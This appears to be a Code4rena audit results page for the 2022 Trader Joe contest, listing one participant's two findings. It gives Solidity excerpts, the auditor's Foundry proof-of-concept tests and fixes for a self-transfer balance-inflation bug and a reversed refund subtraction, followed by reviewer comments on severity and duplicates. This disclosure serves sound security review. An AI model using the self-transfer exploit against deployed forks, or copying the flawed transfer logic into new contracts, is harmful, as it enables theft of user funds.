Platform: Code4rena
Start Date: 14/10/2022
Pot Size: $100,000 USDC
Total HM: 12
Participants: 75
Period: 9 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 171
League: ETH
Rank: 36/75
Findings: 2
Award: $1.30
🌟 Selected for report: 0
🚀 Solo Findings: 0
0.3268 USDC - $0.33
https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBToken.sol#L176-L196
function _transfer( address _from, address _to, uint256 _id, uint256 _amount ) internal virtual { uint256 _fromBalance = _balances[_id][_from]; if (_fromBalance < _amount) revert LBToken__TransferExceedsBalance(_from, _id, _amount); _beforeTokenTransfer(_from, _to, _id, _amount); uint256 _toBalance = _balances[_id][_to]; unchecked { _balances[_id][_from] = _fromBalance - _amount; _balances[_id][_to] = _toBalance + _amount; } _remove(_from, _id, _fromBalance, _amount); _add(_to, _id, _toBalance, _amount); }
If you are transferring money to yourself, then _fromBalance - _amount does not affect _toBalance + _amount. The value of _toBalance is still the original account funds
function testSafeTransferFromSelf() public { uint256 amountIn = 1e18; (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0); uint256[] memory amounts = new uint256[](5); for (uint256 i; i < 5; i++) { assertEq(pair.userPositionAtIndex(DEV, i), _ids[i]); amounts[i] = pair.balanceOf(DEV, _ids[i]); } assertEq(pair.userPositionNumber(DEV), 5); assertEq(pair.balanceOf(DEV, ID_ONE - 1), amountIn / 3); assertEq(pair.balanceOf(DEV, _ids[0]), amountIn / 3); // 333333333333333333 pair.safeTransferFrom(DEV, DEV, _ids[0], amounts[0]); assertEq(pair.balanceOf(DEV, _ids[0]), (amountIn / 3) * 2);//666666666666666666 }
Before the transfer, DEV had 3333333333333333333333333333. After DEV transferred the money to himself, the balance of DEV became 66666666666666666666
forge
_balances[_id][_to] = _balances[_id][_to] + _amount;
#0 - Shungy
2022-10-23T21:53:46Z
I believe this finding to be valid.
Duplicate: https://github.com/code-423n4/2022-10-traderjoe-findings/issues/266
#1 - GalloDaSballo
2022-10-26T16:35:10Z
#2 - c4-judge
2022-11-08T22:13:40Z
GalloDaSballo marked the issue as satisfactory
#3 - trust1995
2022-11-14T00:36:35Z
I think it should be closed.
#4 - Shungy
2022-11-14T01:06:54Z
I think it should be closed.
Why? Maybe impact description is too simple but it clearly identifies the issue and it has coded PoC proving the exploit.
#5 - trust1995
2022-11-14T01:31:02Z
Yeah, the finding is perfectly fine, it's just a dup of the primary issue so should be closed like all the rest of the dups.
#6 - Shungy
2022-11-14T01:54:28Z
Trust the process :D
#7 - c4-judge
2022-11-14T13:56:32Z
GalloDaSballo marked the issue as not a duplicate
#8 - c4-judge
2022-11-14T13:57:03Z
GalloDaSballo marked the issue as duplicate of #299
0.9728 USDC - $0.97
https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L520
In the last line, the excess money is returned to the user. But the processing is reversed amountsIn[0] -msg.value
function swapAVAXForExactTokens( uint256 _amountOut, uint256[] memory _pairBinSteps, IERC20[] memory _tokenPath, address _to, uint256 _deadline ) external payable override ensure(_deadline) verifyInputs(_pairBinSteps, _tokenPath) returns (uint256[] memory amountsIn) { if (_tokenPath[0] != IERC20(wavax)) revert LBRouter__InvalidTokenPath(address(_tokenPath[0])); address[] memory _pairs = _getPairs(_pairBinSteps, _tokenPath); amountsIn = _getAmountsIn(_pairBinSteps, _pairs, _tokenPath, _amountOut); if (amountsIn[0] > msg.value) revert LBRouter__MaxAmountInExceeded(msg.value, amountsIn[0]); _wavaxDepositAndTransfer(_pairs[0], amountsIn[0]); uint256 _amountOutReal = _swapTokensForExactTokens(_pairs, _pairBinSteps, _tokenPath, amountsIn, _to); if (_amountOutReal < _amountOut) revert LBRouter__InsufficientAmountOut(_amountOut, _amountOutReal); if (msg.value > amountsIn[0]) _safeTransferAVAX(_to, amountsIn[0] - msg.value); // @audit }
forge test --mt testswapAVAXForExactTokens -vvvv
function testswapAVAXForExactTokens() public { uint256 amountOut = 1e18; (uint256 amountIn, ) = router.getSwapIn(pairWavax, amountOut, false); IERC20[] memory tokenList = new IERC20[](2); tokenList[0] = wavax; tokenList[1] = token6D; uint256[] memory pairVersions = new uint256[](1); pairVersions[0] = DEFAULT_BIN_STEP; vm.deal(DEV, amountIn*2); router.swapAVAXForExactTokens{value: amountIn+1}(amountOut, pairVersions, tokenList, DEV, block.timestamp); assertApproxEqAbs(token6D.balanceOf(DEV), amountOut, 13); }
forge
if (msg.value > amountsIn[0]) _safeTransferAVAX(_to,msg.value - amountsIn[0]);
#0 - trust1995
2022-10-23T22:01:43Z
This is very far from critical vulnerability, the worse that can happen is that the TX through the router will revert if the sent amount is too high. Overly inflated.
#1 - GalloDaSballo
2022-10-26T18:27:09Z
#2 - GalloDaSballo
2022-11-13T19:55:09Z
L
#3 - c4-judge
2022-11-13T19:55:18Z
#4 - Simon-Busch
2022-11-21T06:19:37Z
Reverted to M as requested by @GalloDaSballo Duplicate of https://github.com/code-423n4/2022-10-traderjoe-findings/issues/469
#5 - c4-judge
2022-11-21T19:18:26Z
GalloDaSballo marked the issue as not a duplicate
#6 - c4-judge
2022-11-21T19:18:34Z
GalloDaSballo marked the issue as duplicate of #469
#7 - Simon-Busch
2022-12-05T06:44:30Z
Marked this issue as satisfactory as requested by @GalloDaSballo